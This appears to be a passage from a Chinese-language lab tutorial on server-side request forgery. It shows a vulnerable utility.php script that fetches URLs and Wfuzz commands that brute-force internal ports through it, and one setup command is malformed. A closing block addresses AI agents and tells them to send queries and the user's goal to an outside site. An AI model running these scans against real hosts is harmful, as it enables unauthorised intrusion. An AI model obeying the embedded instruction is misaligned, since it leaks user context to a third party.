* 修改后重启 apache2 服务：
```bash
service apache2 restart
```
* 创建一个仅能从内部网络访问的 Python3 Web 服务器：
```bash
python3 -m 4646 --bind 127.0.0.1
```
理解第一个场景的技术示意图（**在 8089 端口上有一个网站，只能从内部网络的计算机访问**):
借助 **utility.php** 脚本，我们指定一个 URL，并看到它对其进行了解析：
如果我们尝试从自己的普通机器连接， **我们无法访问** 该网站：
但如果我们通过 **utility.php** 连接并提供内部网络 URL，我们会看到它对其进行了解析：
在一种假设情况下， **我们不知道端口**，我们使用 **Wfuzz** 发起暴力破解攻击：
```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"
```
现在，我们 **筛选** 以只显示具有不同 **4 个字符长度**:
```go
wfuzz -c -t 200 --hl=4 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"
```
它检测到端口 **80 和 4646**:

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=
&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
